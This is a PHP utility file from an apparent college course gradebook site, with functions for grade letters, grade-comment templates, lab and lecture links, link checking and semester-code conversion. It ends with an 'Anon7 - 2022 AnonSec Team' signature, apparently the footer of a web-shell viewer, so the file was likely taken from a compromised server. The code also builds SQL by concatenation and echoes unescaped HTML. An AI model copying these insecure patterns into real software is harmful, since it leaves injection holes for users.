	// Find course directory.
	$dirs = explode('/',dirname($_SERVER['SCRIPT_NAME']));
	#d_Var('$dirs',$dirs,'d');
	$found = array_search($courseNumber,$dirs);
	#d_Var('$found',$found,'d');
	$path = '';
	for ( $di=1; $di<=$found; $di++) {
		$path .='/'.$dirs[$di];
	}
	$path = './';
	for ($d=0; $d<count($dirs)-$found-1; $d++) {
		$path = '../'.$path;
	}
	#d_Var('$path',$path,'d');
	$directoryList = dir($path);
	#d_Var('$directoryList',$directoryList,'d');
	$courseDirectoryFound = false;
	while ( false !== ($directoryEntry = $directoryList->read()) ) {
		 if ($directoryEntry == $directory) { $courseDirectoryFound = true; }
	}
	if ( $courseDirectoryFound ) {
		$courseDirectoryFound = $path.$directory;
	}
	#d_Var('$courseDirectoryFound',$courseDirectoryFound,'d');
	return $courseDirectoryFound;
} // courseDirectoryFound.

// GradeCommentCodeReplace($evaluationName,$courseNumber,$assignmentPoints,$gradePoints,$gradeComment)
// Returns the comment with any codes replaced by their calculated string values.
//     $courseNumber = the course number.
// $assignmentPoints = the total points the assignment is worth.
//      $gradePoints = the points given for the grade.
//     $gradeComment = the grade comment
function GradeCommentCodeReplace($evaluationName,$courseNumber,$assignmentPoints,$gradePoints,$gradeComment) {
	$debug_backtrace = debug_backtrace(); $file = basename($debug_backtrace['0']['file']); $filepath = $debug_backtrace['0']['file']; $line = $debug_backtrace['0']['line']; global $TRACK;
	$gradeComment = stripslashes($gradeComment);
	$gradeComment = GradeCommentCodeReplace_e($evaluationName,$courseNumber,$assignmentPoints,$gradePoints,$gradeComment);
	$gradeComment = GradeCommentCodeReplace_p($evaluationName,$courseNumber,$gradeComment);
	$gradeComment = GradeCommentCodeReplace_e($evaluationName,$courseNumber,$assignmentPoints,$gradePoints,$gradeComment);
	if (isset($GLOBALS['TRACK']) && $GLOBALS['TRACK'] != '') $_SESSION['TRACK'] .= '<li class="pv_f">function '.__FUNCTION__."($evaluationName,$courseNumber,$assignmentPoints,$gradePoints,$gradeComment)=$gradeComment".": ".'<span class="pv_fl">'.basename($file).":".$line.": ".basename(__FILE__).":".__LINE__.'</span>'."</li>\n";
	return $gradeComment;
}

function GradeCommentCodeReplace_e($evaluationName,$courseNumber,$assignmentPoints,$gradePoints,$gradeComment) {
	$debug_backtrace = debug_backtrace(); $file = basename($debug_backtrace['0']['file']); $filepath = $debug_backtrace['0']['file']; $line = $debug_backtrace['0']['line']; global $TRACK;
	#d_Var('$gradePoints',$gradePoints,'d');
	#d_Var('$assignmentPoints',$assignmentPoints,'d');
	$gradePercentage = intval($gradePoints) / $assignmentPoints * 100;
	switch ($evaluationName) {
		case 'Class Profile':
			// =e: 'You may edit and re-submit your CST1025 Class Profile for a better grade. '
			$repStr = 'If you wish to improve your <b>'.gradeLetterAC($gradePercentage).'</b> grade please <a href="https://cst.ridgewater.edu/JimMartinson/'.$courseNumber.'/?ClassProfile">edit</a> and re-submit your '.$courseNumber.' Class Profile.';
			$gradeComment = str_replace("=e", $repStr, $gradeComment);
			break;
		case 'Student Profile':
			// =e: 'You may edit and re-submit your Student Profile for a better grade. '
			if ($courseNumber != '') {
				$repStr = 'If you wish to improve your <b>'.gradeLetterAC($gradePercentage).'</b> grade please <a href="https://cst.ridgewater.edu/JimMartinson/'.$courseNumber.'/?StudentProfile">edit</a> and re-submit your Student Profile.';
			} else {
				$repStr = 'If you wish to improve your <b>'.gradeLetterAC($gradePercentage).'</b> grade please edit and re-submit your Student Profile.';
			}
			$gradeComment = str_replace("=e", $repStr, $gradeComment);
			break;
		default:
			// =e: 'You may re-submit your CST1794 Lab-01 for a better grade. '
			if ( strpos($gradeComment,'complete and submit') == false ) {
				if ( $courseNumber ) {
					$courseNumberText = $courseNumber.' ';
				} else {
					$courseNumberText = '';
				}
				$repStr = 'If you wish to improve your <b>'.gradeLetterAC($gradePercentage).'</b> grade please revise and re-submit '.$courseNumberText.$evaluationName.'.';
				// \nIf you have questions about how to do the work please call me.
				$gradeComment = str_replace("=e", $repStr, $gradeComment);
			} else {
				$gradeComment = str_replace("=e", '', $gradeComment);
			}
		}
	return $gradeComment;
} // END GradeCommentCodeReplace.

function GradeCommentCodeReplace_g($evaluationName,$courseNumber,$assignmentPoints,$gradePoints,$gradeComment) {
	$debug_backtrace = debug_backtrace(); $file = basename($debug_backtrace['0']['file']); $filepath = $debug_backtrace['0']['file']; $line = $debug_backtrace['0']['line']; global $TRACK;
	if ( $gradePoints == '' ) $gradePoints = 0;
	$gradePercentage = $gradePoints / $assignmentPoints * 100;
	if ($evaluationName != 'Student Profile') {
		// =g: 'The grade for your CST1025 Class Profile is A, 26/27 points (96.3%). '
		$repStr = 'The grade for your '.$courseNumber.' '.$evaluationName.' is: <b>'.gradeLetterAC($gradePercentage).'</b>, '.$gradePoints.'/'.$assignmentPoints.' points ('.$gradePoints.'%).';
		$gradeComment = str_replace("=g", $repStr, $gradeComment);
	} else {
		// =g: 'The grade for your Student Profile is A, 96%. '
		if (listLen($courseNumber) > 1) { $classText = 'classes'; } else { $classText = 'class'; }
		$repStr = 'The grade for your '.$evaluationName.' is: <b>'.gradeLetterAC($gradePercentage).'</b>, '.$gradePercentage.'%. This grade impacts your '.listAnd($courseNumber).' '.$classText.'.';
		$gradeComment = str_replace("=g", $repStr, $gradeComment);
	}
	return $gradeComment;
}
function GradeCommentCodeReplace_p($evaluationName,$courseNumber,$gradeComment) {
	$debug_backtrace = debug_backtrace(); $file = basename($debug_backtrace['0']['file']); $filepath = $debug_backtrace['0']['file']; $line = $debug_backtrace['0']['line']; global $TRACK;
	// =p: 'CST1025 Class Profile'
	if ($courseNumber != '') {
		$repStr = $courseNumber.' '.$evaluationName;
	} else {
		$repStr = $evaluationName;
	}
	$gradeComment = str_replace("=p", $repStr, $gradeComment);
	return $gradeComment;
}

function gradeClass($grade) {
	switch ($grade) {
		case 'A+':
		case 'A':
		case 'A-':
			$gradeClass = '<span class="gradeA">'.$grade.'</span>';
			break;
		case 'B+':
		case 'B':
		case 'B-':
			$gradeClass = '<span class="gradeB">'.$grade.'</span>';
			break;
		case 'C+':
		case 'C':
		case 'C-':
		case 'W':
			$gradeClass = '<span class="gradeC">'.$grade.'</span>';
			break;
		case 'D+':
		case 'D':
		case 'D-':
			$gradeClass = '<span class="gradeD">'.$grade.'</span>';
			break;
		case 'F':
		case 'NC':
			$gradeClass = '<span class="gradeF">'.$grade.'</span>';
			break;
		default:
			$gradeClass = $grade;
			break;
	}		
	return $gradeClass;
}

// gradeLetter($percentage,$gradePoints,$gradeLetters)
// Returns a grade letter based on the $percentage, $gradePoints, and $gradeLetters
function gradeLetter($percentage,$gradePoints,$gradeLetters) {
	$debug_backtrace = debug_backtrace(); $file = basename($debug_backtrace['0']['file']); $filepath = $debug_backtrace['0']['file']; $line = $debug_backtrace['0']['line']; global $TRACK;
	$gradeLetter = $gradeLetters[count($gradePoints)-1];
	for ($i=count($gradePoints)-2; $i>=0; $i--) {
		if ($percentage >= $gradePoints[$i]) { $gradeLetter = $gradeLetters[$i]; }
	}
	return $gradeLetter;
}

// gradeLetterAF($percentage)
// Returns an A-F grade letter based on the $percentage.
// A:93%+, A-:90%+, B+:87%+, B:83%+, B-:80%+, C+:77%+, C:73%+, C-:70%+, D+:67%+, D:63%+, D-:60%+, F:<60%
function gradeLetterAF($percentage) {
	$debug_backtrace = debug_backtrace(); $file = basename($debug_backtrace['0']['file']); $filepath = $debug_backtrace['0']['file']; $line = $debug_backtrace['0']['line']; global $TRACK;
	$gradeLetterAF = gradeLetter($percentage, 
		array(93,  90,   87,   83,  80,   77,   73,  70,   67,   63,  60,   0), 
		array('A', 'A-', 'B+', 'B', 'B-', 'C+', 'C', 'C-', 'D+', 'D', 'D-', 'F'));
	if (isset($GLOBALS['TRACK']) && $GLOBALS['TRACK'] != '') $_SESSION['TRACK'] .= '<li class="pv_f">function '.__FUNCTION__."($percentage)=$gradeLetterAF".": ".'<span class="pv_fl">'.basename($file).":".$line.": ".basename(__FILE__).":".__LINE__.'</span>'."</li>\n";
	return $gradeLetterAF;
}

// gradeLetterAC($percentage)
// Returns an A-F grade letter based on the $percentage.
// A:93%+, A-:90%+, B+:87%+, B:83%+, B-:80%+, C+:77%+, C:73%+, C-:70%+, F:<70%
function gradeLetterAC($percentage) {
	$debug_backtrace = debug_backtrace(); $file = basename($debug_backtrace['0']['file']); $filepath = $debug_backtrace['0']['file']; $line = $debug_backtrace['0']['line']; global $TRACK;
	$gradeLetterAC = gradeLetter($percentage, 
		array(93,  90,   87,   83,  80,   77,   73,  70,   0), 
		array('A', 'A-', 'B+', 'B', 'B-', 'C+', 'C', 'C-', 'F'));
	if (isset($GLOBALS['TRACK']) && $GLOBALS['TRACK'] != '') $_SESSION['TRACK'] .= '<li class="pv_f">function '.__FUNCTION__."($percentage)=$gradeLetterAC".": ".'<span class="pv_fl">'.basename($file).":".$line.": ".basename(__FILE__).":".__LINE__.'</span>'."</li>\n";
	return $gradeLetterAC;
}

function gradePercentage($gradePoints,$totalPoints) {
	#d_Var('$gradePoints',$gradePoints,'d');
	#d_Var('$totalPoints',$totalPoints,'d');
	if ( is_numeric($gradePoints) && is_numeric($gradePoints) ) {
		if ( $totalPoints ) {
			$gradePercentage = (int) ( $gradePoints / $totalPoints * 100 + .5 );
		} else {
			$gradePercentage = 0;
		}
	} else {
		$gradePercentage = 0;
	}
	return $gradePercentage;
}

function gradePercentageClass($gradePercentage) {
	if ( $gradePercentage >= 90 ) {
		$gradePercentageClass = '<span class="gradeA">'.$gradePercentage.'%</span>';
	} elseif ( $gradePercentage >= 80 ) {
		$gradePercentageClass = '<span class="gradeB">'.$gradePercentage.'%</span>';
	} elseif ( $gradePercentage >= 70 ) {
		$gradePercentageClass = '<span class="gradeC">'.$gradePercentage.'%</span>';
	} elseif ( $gradePercentage >= 60 ) {
		$gradePercentageClass = '<span class="gradeD">'.$gradePercentage.'%</span>';
	} else {
		$gradePercentageClass = '<span class="gradeF">'.$gradePercentage.'%</span>';
	}		
	return $gradePercentageClass;
}

// labLink($evalNumber, $updateDueDate, $postfixText, $linkType)
// Return a link to the lab and update due date.
function labLink($evalNumber, $updateDueDate=true, $postfixText=false, $linkType='Labs') {
	#if ( $_SESSION['userId'] == 1 && $evalNumber == '14' ) { $DEBUG_labLink = true; } //
	#if ( $_SESSION['userId'] == 1449  ) { $DEBUG_labLink = true; } //
	#if ( $_SESSION['userId'] == 1368 && $evalNumber == 11 ) { $DEBUG_labLink = true; }
	if ( !isset($DEBUG_labLink) ) { $DEBUG_labLink = false; }
	if ( $DEBUG_labLink ) { d_Var('$evalNumber',$evalNumber,'d'); }
	if ( $evalNumber !== 0 ) {
		if ( is_numeric($evalNumber) ) {
			if ( $evalNumber < 10 ) {
				$evalNumberTwoDigit = '0'.$evalNumber;
			} else {
				$evalNumberTwoDigit = $evalNumber;
			}
		} else {
			$evalNumberTwoDigit = $evalNumber;
		}
		$f_classId = $GLOBALS['classId'];
		#d_Var('$f_classId',$f_classId,'d');
		require('Gradebook/evaluationInfo.phpinc');
		if ( $DEBUG_labLink ) { d_Var('$evalNumberTwoDigit',$evalNumberTwoDigit,'d'); }
		$eId = 0;
		foreach ( $eInfo as $evaluationId => $e ) {
			if ( $DEBUG_labLink ) { d_Var("\$e['title']",$e['title'],'d'); d_Var('strlen($evalNumberTwoDigit)',strlen($evalNumberTwoDigit),'d'); d_Var("substr(\$e['title'],-strlen(\$evalNumberTwoDigit))",substr($e['title'],-strlen($evalNumberTwoDigit)),'d'); }
			if ( $DEBUG_labLink ) { d_Var("stripos(".$e['title'].",(string)$evalNumberTwoDigit)",stripos($e['title'],(string)$evalNumberTwoDigit),'d'); }
			if ( $evalNumberTwoDigit == substr($e['title'],-strlen($evalNumberTwoDigit)) ) {
				$eId = $evaluationId;
				break;
			}
		}
		if ( $DEBUG_labLink ) { d_Var("$evalNumberTwoDigit \$eInfo[$eId]",$eInfo[$eId],'d'); }
		if ( $eId == 0 ) {
			if ( $DEBUG_labLink ) { d_Var('$evalNumber',$evalNumber,'d'); }
			foreach ( $eInfo as $evaluationId => $e ) {
				if ( stripos($e['title'],(string)$evalNumber) !== false ) {
					$eId = $evaluationId;
					break;
				}
			}
			if ( $DEBUG_labLink ) { d_Var('$eId',$eId,'d'); }
		}
		if ( $DEBUG_labLink ) { @d_Var("\$eInfo[$eId]",$eInfo[$eId],'d'); }
		#d_Var('$eId',$eId,'d');
		// END Get evaluation info.
		if ( $eId != 0 ) {
			#d_Var("\$eInfo[$eId]",$eInfo[$eId],'d');
			// Calculate link URL and text.
			$evalType = preg_replace('/[0-9]+/', '', $eInfo[$eId]['title']);
			if ( $DEBUG_labLink ) { d_Var('$evalType',$evalType,'d'); }
			if ( $DEBUG_labLink ) { d_Var('$evalNumber',$evalNumber,'d'); }
			$linkText = $evalType;
			if ( $evalNumber != $linkText ) { $linkText .= ' '.$evalNumber; }
			$linkText .= ' - '.$eInfo[$eId]['description'];
			#$linkText = $evalNumberTwoDigit.' '.$GLOBALS['classId'].' '.$eId.' '.$evalType;
			$linkURL = '/'.$GLOBALS['Instructor']['Path'].'/'.$GLOBALS['courseNumber'].'/'.$linkType.'/'.$eInfo[$eId]['title'];
			if ( $DEBUG_labLink ) { @d_Var("\$GLOBALS['DueDateTime']",$GLOBALS['DueDateTime'],'d'); }
			if ( $updateDueDate && $GLOBALS['DueDateTime'] != '' ) {
				// BEGIN update evaluation due date.
				$query = "SELECT evaluationDueDate FROM `evaluation` WHERE evaluationId = ".$eId;
				if ( $DEBUG_labLink ) { @d_Var("\$query",$query,'dq'); }
				$evaluationDueDateInfo = query_info($query);
				if ( $DEBUG_labLink ) { d_Var('$evaluationDueDateInfo',$evaluationDueDateInfo,'d'); }
				if ( $DEBUG_labLink ) { d_Var("\$evaluationDueDateInfo['evaluationDueDate']",$evaluationDueDateInfo['evaluationDueDate'],'d'); }
				if ( $DEBUG_labLink ) { d_Var("\$GLOBALS['DueDateTime']",$GLOBALS['DueDateTime'],'d'); }
				if ( $evaluationDueDateInfo && $evaluationDueDateInfo['evaluationDueDate'] != $GLOBALS['DueDateTime'] ) {
					$query = "UPDATE `evaluation` SET evaluationDueDate = '".query_safe($GLOBALS['DueDateTime'])."' WHERE evaluationId = ".$eId;
					if ( $DEBUG_labLink ) { @d_Var("\$query",$query,'dq'); }
					$evaluationUPDATE = query_do($query);
					#$GLOBALS['DueDateTime'] = '';
				}
				// END update evaluation due date.
			}
			$echoText = '<a href="'.$linkURL.'">'.$linkText.'</a>'; // Display link.
			if ( $eInfo[$eId]['extra'] ) { $echoText .= ' <span class="evalEC">(for extra credit)</span>'; }
			if ( $postfixText === false ) {
				$echoText .= '.';
			} else {
				$echoText .= $postfixText;
			}
		} else {
			$echoText = '<b class="error">Evaluation '.$evalNumber.' not found.</b>';
		}
		echo $echoText;
	} else {
		echo '<span class="attention">Lab link placeholder</span>';
	}
	return;
} // END labLink.

// lectureLinks(array(array('URL','text'),array('URL','text'),array('URL','text')));
// Display web meeting lecture links.
// array is an array or arrays with the first part the URL and the second part the link text.
//  URL = The url for the href. If no http or https protocol is part of the link then "https://minnstate.zoom.us/recording/share/" is prepended to the url. If the URL is "URL" no link in generated.
// text = The link text.
function lectureLinks($links=false) {
	if ( !$links || !is_array($links) || count($links) == 0 ) { return; }
	// Get count of active links.
	$activeLinks = 0;
	foreach ( $links as $link ) { // Loop thru links.
		if ( !is_array($link) || $link[0] == 'URL' || $link[0] == '' || !isset($link[1]) ) { continue; }
		$activeLinks ++;
	} // Loop thru links.
	$LinkNumber = 0;
	$prefix = '&nbsp; ';
	foreach ( $links as $link ) { // Loop thru links.
		if ( !is_array($link) || $link[0] == 'URL' || $link[0] == '' || !isset($link[1])) { continue; }
		$URL = $link[0];
		$text = $link[1];
		if ( $text == 'text' ) { $text = ''; }
		if ( $text == '' ) { // Is the text empty?
			$LinkNumber++;
			if ( $activeLinks > 1 ) {
				$text = 'View lecture part '.$LinkNumber;
			} else {
				$text = 'View lecture';
			}
		} elseif ( substr($text,0,1) == '(') {
			$text = substr($text,1);
			if ( substr($text,-1,1) == ')') $text = substr($text,0,-1);
			//$text = 'View '.$text;
		} else {
			$text = 'View '.$text;
		}
		if ( $URL != '#' ) {
			//if ( strpos($URL,'http://') === false && strpos($URL,'https://') === false ) { $URL = "https://minnstate.zoom.us/recording/share/".$URL; } // Prefix zoom share if not full URL.
			echo $prefix.'<a href="'.$URL.'" target="_blank">'.$text.'</a>.';
		} else {
			echo $prefix.'<span class="note">'.$text.'</span>';
		}
		$prefix = ' ';
	} // Loop thru links.
	weekLinks();
} // END lectureLink.

// weekLinks()
// Show link to Resources/Week/weeknumber if weeknumber folder exists on server.
function weekLinks() {
	/*
	<? $weekTwoDigit = twoDigit($week); ?> <a href="../Resources/Week/<?=$weekTwoDigit?>">See week <?=$week?> files</a>.
	week
	courseNumber
	Instructor Path
	*/
	$week = $GLOBALS['week'];
	$weekTwoDigit = twoDigit($week);
	if ( false && $_SESSION['userId'] == 1 ) {
		#d_Var("\$GLOBALS['week']",$GLOBALS['week'],'d');
		#d_Var("\$GLOBALS['courseNumber']",$GLOBALS['courseNumber'],'d');
		#d_Var("\$GLOBALS['Instructor']['Path']",$GLOBALS['Instructor']['Path'],'d');
		#d_VAr("\$_SESSION",$_SESSION,'d');
	}
	$dir = $_SESSION['DIRECTORY_ROOT'].$GLOBALS['Instructor']['Path'].'\\'.$GLOBALS['courseNumber'].'\\Resources\\Week\\'.$weekTwoDigit;
	#d_Var('$dir',$dir,'d');
	$isDir = is_dir($dir);
	#d_Var('$isDir',$isDir,'d');
	if ($isDir) {
		$link = ' <a href="../Resources/Week/'.$weekTwoDigit.'">See week '.$week.' files</a>.';
		echo $link;
	}
} // END weekLinks

// mk_dir($path,$rights)
// Will make a directory.
function mk_dir($path, $rights = 0777) {
	$debug_backtrace = debug_backtrace(); $file = basename($debug_backtrace['0']['file']); $filepath = $debug_backtrace['0']['file']; $line = $debug_backtrace['0']['line']; global $TRACK;
	#echo "\$path=".$path."<br>\n";
	$mk_dir_flag = true;
	//$folder_path = array(strstr($path, '.') ? dirname($path) : $path);
	$folder_path = array($path);
	#echo "\$folder_path=";
	#print_r($folder_path);
	#echo "<br>\n";	
	while(!@is_dir(dirname(end($folder_path))) && dirname(end($folder_path)) != '/' && dirname(end($folder_path)) != '.' && dirname(end($folder_path)) != '') {
		array_push($folder_path, dirname(end($folder_path)));
	#echo "\$folder_path=";
	#print_r($folder_path);
	#echo "<br>\n";	
	}
	while($parent_folder_path = array_pop($folder_path)) {
		#echo "\$parent_folder_path=".$parent_folder_path."<br>\n";
		if(!@mkdir($parent_folder_path, $rights)) $mk_dir_flag = false;
	}
	 if (isset($GLOBALS['TRACK']) && $GLOBALS['TRACK'] != '') { $_SESSION['TRACK'] .= '<li class="pv_f">function '.__FUNCTION__."($path, $rights)="; if($mk_dir_flag) { $_SESSION['TRACK'] .='true'; } else { $_SESSION['TRACK'] .= 'false'; } $_SESSION['TRACK'] .=": ".'<span class="pv_fl">'.basename($file).":".$line.": ".basename(__FILE__).":".__LINE__.'</span>'."</li>\n"; }
	return $mk_dir_flag;
}

// linkTest($thisLink)
function linkTest($thisLink) {
	$debug_backtrace = debug_backtrace(); $file = basename($debug_backtrace['0']['file']); $filepath = $debug_backtrace['0']['file']; $line = $debug_backtrace['0']['line']; global $TRACK;
	if ($thisLink != '') {
		if (substr($thisLink,0,5) == 'http:') { $thisLink = str_replace('http:','https:',$thisLink); }
		if (substr($thisLink,0,5) != 'https') {
			if (substr($thisLink,0,1) == '/') {
				$thisLink = "https://".$_SERVER['SERVER_NAME'].$thisLink;
			} else {
				$thisLink = "https://".$_SERVER['SERVER_NAME'].'/'.$thisLink;
			}
		}
		$current_error_reporting = ini_get("error_reporting");
		
		
		$thisLink = str_replace('cst.ridgewater.edu','cst.ridgewater.edu:8080',$thisLink);
		$thisLink = str_replace('https:','http:',$thisLink);
		
		$conn = curl_init( $thisLink );
		curl_setopt( $conn, CURLOPT_SSL_VERIFYPEER, true );
		curl_setopt( $conn, CURLOPT_FRESH_CONNECT, true );
		curl_setopt( $conn, CURLOPT_RETURNTRANSFER, 1 );
		$data = curl_exec( $conn );
		curl_close( $conn );
		#d_Var('data',$data,'d');
		
		error_reporting(0);
		if ($data != '') {
			$linkTest  = '<a href="'.$thisLink.'" target="_blank"><span class="ok">OK</span></a>';
		} else {
			$linkTest = '<a href="'.$thisLink.'" target="_blank"><span class="error">Error</span></a>';
		}
		error_reporting($current_error_reporting);
	} else {
		$linkTest = '';
	}
	if (isset($GLOBALS['TRACK']) && $GLOBALS['TRACK'] != '') $_SESSION['TRACK'] .= '<li class="pv_f">function '.__FUNCTION__."($thisLink)=$linkTest".": ".'<span class="pv_fl">'.basename($file).":".$line.": ".basename(__FILE__).":".__LINE__.'</span>'."</li>\n";
	return $linkTest;
}

function linkTest2($link) {
	$debug_backtrace = debug_backtrace(); $file = basename($debug_backtrace['0']['file']); $filepath = $debug_backtrace['0']['file']; $line = $debug_backtrace['0']['line']; global $TRACK;
	$url_parts = @parse_url($link);
	if (empty($url_parts["host"])) return(false);
	if (!empty($url_parts["path"])) {
		$documentpath = $url_parts["path"];
	} else {
		$documentpath = "/";
	}
	if (!empty($url_parts["query"])) {
		$documentpath .= "?" . $url_parts["query"];
	}
	$host = $url_parts["host"];
	$port = $url_parts["port"];
	// Now (HTTP-)GET $documentpath at $host";
	if (empty($port)) $port = "80"; $socket = @fsockopen($host, $port, $errno, $errstr, 30);
	if (!$socket) {
		$linkTest2 = false;
	} else {
		fwrite ($socket, "HEAD ".$documentpath." HTTP/1.0\r\nHost: $host\r\n\r\n");
		$http_response = fgets($socket, 22);
		if (preg_match("/200 OK/", $http_response, $regs)) {
			$linkTest2 = true;
			fclose($socket);
		} else {
			//                echo "HTTP-Response: $http_response<br>";
			$linkTest2 = false;
		}
	}
	 if (isset($GLOBALS['TRACK']) && $GLOBALS['TRACK'] != '') { $_SESSION['TRACK'] .= '<li class="pv_f">function '.__FUNCTION__."($link)="; if($linkTest2) { $_SESSION['TRACK'] .='true'; } else { $_SESSION['TRACK'] .= 'false'; } $_SESSION['TRACK'] .=": ".'<span class="pv_fl">'.basename($file).":".$line.": ".basename(__FILE__).":".__LINE__.'</span>'."</li>\n"; }
	return $linkTest2;
} // END linkTest2.

// SemesterYear_to_YRTR($semester, $year)
// Returns a YRTR given a semester and year.
function SemesterYear_to_YRTR($semester, $year) {
	if ( strlen($year) <> 4 ) { $year = false; }
	if ( $year) {
		switch ($semester) {
			case 'Fall':
				$year += 1;
				$YRTR = $year.'3';
				break;
			case 'Spring':
				$YRTR = $year.'5';
				break;
			case 'Summer':
				$year += 1;
				$YRTR = $year.'1';
				break;
			default:
				$YRTR = false;
				break;
		}
		return $YRTR;
	}
}

// showBegin($showText='Show example', $hideText='Hide example', $show=false)
// Create a show/hide div to contain information.
// $showText = The text to click on to show the example.
// $hideText = The text to click on to hide the example.
//     $show = true to begin with example shown. Default is false (hidden).
function showBegin($showText='See an example', $hideText='', $show=false) {
	$id = uuid();
	if ( !isset($_SESSION['divIds']) ) $_SESSION['divIds'] = array();
	// Set $hideText if not set.
	if ( $hideText == '' ) { // Is show hide not defaults?
		if ( substr($showText,0,8) == 'Show an ' ) {
			$hideText = 'Hide the'.substr($showText,8);
		} elseif ( substr($showText,0,7) == 'See an ' ) {
			$hideText = 'Hide the '.substr($showText,7);
		} elseif ( substr($showText,0,7) == 'Show a ' ) {
			$hideText = 'Hide the '.substr($showText,7);
		} elseif ( substr($showText,0,6) == 'See a ' ) {
			$hideText = 'Hide the '.substr($showText,6);
		} elseif ( substr($showText,0,5) == 'Show ' ) {
			$hideText = 'Hide '.substr($showText,5);
		} elseif ( substr($showText,0,4) == 'See ' ) {
			$hideText = 'Hide '.substr($showText,4);
		} elseif ( $showText == '' ) {
			$hideText = '';
		} else {
			$hideText = 'Hide the example';
		}
	} // Is show hide not defaults?
	array_unshift($_SESSION['divIds'],array($id,$hideText));
	if ( $show ) {
		$showClass = 'hidden';
		$hideClass = 'inline';
	} else {
		$showClass = 'inline';
		$hideClass = 'hidden';
	}
?>
		<div id="show<?=$id?>" class="<?=$showClass?>"><a href="#" class="nowrap" onClick="divHide('show<?=$id?>'); divShow('hide<?=$id?>'); return false;"><?=$showText?> &#x25BC;</a></div>
		<div id="hide<?=$id?>" class="<?=$hideClass?>"><a href="#" class="nowrap" onClick="divHide('hide<?=$id?>'); divShowInline('show<?=$id?>'); return false;"><?=$hideText?> &#x25B2;</a>	
<?
	$_SESSION['showBeginId'] = $id;
	$_SESSION['showBeginHide'] = $hideText;
} // END showBegin.

// showBody($show=false)
// Create a show/hide div to contain information.
// $hideText = The text to click on to hide the example.
//     $show = true to begin with example shown. Default is false (hidden).
function showBody($show=false) {
	list($id,$hideText) = $_SESSION['divIds'][0];
	if ( $show ) {
		$hideClass = 'inline';
	} else {
		$hideClass = 'hidden';
	}
?>
		<div id="hide<?=$id?>" class="<?=$hideClass?>"><a href="#" class="nowrap" onClick="divHide('hide<?=$id?>'); divShowInline('show<?=$id?>'); document.getElementById('tr_showhide_<?=$id?>').style.display = 'none'; return false;"><?=$hideText?> &#x25B2;</a>	
<?
} // END showBegin.

// showControl($showText='Show example', $hideText='Hide example', $show=false)
// Create a show/hide div to contain information.
// $showText = The text to click on to show the example.
// $hideText = The text to click on to hide the example.
//     $show = true to begin with example shown. Default is false (hidden).
function showControl($showText='Show example', $hideText='Hide example', $show=false) {
	$id = uuid();
	if ( !isset($_SESSION['divIds']) ) $_SESSION['divIds'] = array();
	array_unshift($_SESSION['divIds'],array($id,$hideText));
	if ( $show ) {
		$showClass = 'hidden';
	} else {
		$showClass = 'inline';
	}
?>
		<div id="show<?=$id?>" class="<?=$showClass?>"><a href="#" class="nowrap" onClick="divHide('show<?=$id?>'); divShow('hide<?=$id?>'); document.getElementById('tr_showhide_<?=$id?>').style.display = 'table-row'; return false;"><?=$showText?> &#x25BC;</a></div>
<?
	$_SESSION['showBeginId'] = $id;
	$_SESSION['showBeginHide'] = $hideText;
} // END showBegin.

// showEnd($showHide)
// End the showBegin or showBody.
function showEnd($showHide=true) {
	if ( $showHide ) {
		list($id,$hideText) = array_shift($_SESSION['divIds']);
		
?>
		<a href="#show<?=$id?>" onClick="divHide('hide<?=$id?>'); divShowInline('show<?=$id?>');"><?=$hideText?> &#x25B2;</a>
<?
	}
?>
		</div>
<?
} // END showEnd.

// showTR($show)
// Show or hide tr element.
function showTR($show=false) {
	if ( $show ) {
		$hideClass = '';
	} else {
		$hideClass = 'hidden';
	}
	list($id,$hideText) = $_SESSION['divIds'][0];
	echo ' id="tr_showhide_'.$id.'" class="'.$hideClass.'"';
} // END showTR.

// YRTR_to_SemesterYear($YRTR)
// Returns a semester and year given a YRTR.
function YRTR_to_SemesterYear($YRTR) {
	// 20111 2010 Summer Session.
	// 20113 2010 Fall Semester.
	// 20115 2011 Spring Semester.
	if ( strlen($YRTR) <> 5 ) { $YRTR = false; }
	if ( $YRTR) {
		switch (substr($YRTR,-1)) {
			case '1':
				$Year = substr($YRTR,0,4) - 1;
				$Semester = 'Summer';
				break;
			case '3':
				$Year = substr($YRTR,0,4) - 1;
				$Semester = 'Fall';
				break;
			case '5':
				$Year = substr($YRTR,0,4);
				$Semester = 'Spring';
				break;
			default:
				$YRTR = false;
				break;
		}
		return array($Semester, $Year);
	}
}

// YRTR_to_Semester($YRTR)
// Returns a Semester string given a YRTR.
function YRTR_to_Semester($YRTR) {
	// 20111 2010 Summer Session.
	// 20113 2010 Fall Semester.
	// 20115 2011 Spring Semester.
	if ( strlen($YRTR) <> 5 ) { $YRTR = false; }
	if ( $YRTR) {
		switch (substr($YRTR,-1)) {
			case '1':
				$YR = substr($YRTR,0,4) - 1;
				$YRTR = $YR.' Summer Session';
				break;
			case '3':
				$YR = substr($YRTR,0,4) - 1;
				$YRTR = $YR.' Fall Semester';
				break;
			case '5':
				$YR = substr($YRTR,0,4);
				$YRTR = $YR.' Spring Semester';
				break;
			default:
				$YRTR = false;
				break;
		}
		return $YRTR;
	}
}

// YRTR_next($YRTR)
// Returns the next YRTR.
function YRTR_next($YRTR) {
	// 20111 = 20113 2010 Fall Semester.
	// 20113 = 20115 2011 Spring Semester.
	// 20115 = 20121 2011 Summer Session.
	if ( strlen($YRTR) <> 5 ) { $YRTR = false; }
	if ( $YRTR) {
		switch (substr($YRTR,-1)) {
			case '1':
			case '3':
				$YRTR += 2;
				break;
			case '5':
				$YRTR += 6;
				break;
			default:
				$YRTR = false;
				break;
		}
		return $YRTR;
	}
}

// YRTR_previous($YRTR)
// Returns the previous YRTR.
function YRTR_previous($YRTR) {
	// 20111 = 20105 2010 Spring Semester.
	// 20113 = 20121 2011 Summer Session.
	// 20115 = 20113 2010 Fall Semester.
	if ( strlen($YRTR) <> 5 ) { $YRTR = false; }
	if ( $YRTR) {
		switch (substr($YRTR,-1)) {
			case '1':
				$YRTR -= 6;
				break;
			case '3':
			case '5':
				$YRTR -= 2;
				break;
			default:
				$YRTR = false;
				break;
		}
		return $YRTR;
	}
} // END YRTR_previous.

// 
// 
function showFileList($files=false, $class='') {
	if ($class) {
		$class = ' class="'.$class.'"';
	}
	if ($files) {
		natcasesort($files);
		?>
		<ul<?=$class?>>
		<?
		foreach ($files as $fileName) {
?>
				<li><?=$fileName?></li>
<?
		}
?>
		</ul>
<?
	}
} 
?>

Anon7 - 2022
AnonSec Team